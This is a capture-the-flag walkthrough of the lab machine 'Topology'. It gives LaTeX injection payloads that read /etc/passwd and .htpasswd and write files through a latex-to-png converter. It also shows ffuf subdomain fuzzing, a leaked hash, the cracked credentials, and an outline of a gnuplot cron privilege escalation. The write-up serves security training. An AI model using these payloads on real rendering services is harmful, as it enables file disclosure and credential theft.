

# ***Topology***

## ***LaTeX***

Webserver on port 80 gives a latex to png converter

```
\newread\file \openin\file=/etc/passwd \read\file to\x\text{\x}
```

→ allows for single line reads

```
\newwrite\file \openout\file=cow.php \write\file{woof} \closeout\file
```

-> allows creation of a file

```
$\lstinputlisting{/etc/passwd}$
```

-> gives entire file listing. \$\$ needed to avoid error

Illegal commands:

`\input`

`\include`

`\write`

`\immediate`

`\write18`

using ffuf, we can enumerate subdomains.

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.topology.htb" -u http://topology.htb -fs 6767
```

-> we find dev.topology.htb, which asks for http authentication

using `$\lstinputlisting{/var/www/dev/.htpasswd}$` as the payload

Hash given:

```
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIXTY0
```

## ***vdaisley***

using hashcat, we can crack the hash for creds:

```
vdaisley:calculus20
```

with this, we can access dev.topology.htb, which doesnt have anything interesting

However, due to password reuse, we can ssh into the box!

using pspy, we see root executing all `/opt/gnuplot/*.plt` files with gnuplot

with some research, we can get root to run commands for us

***creds***

vdaisley:calculus20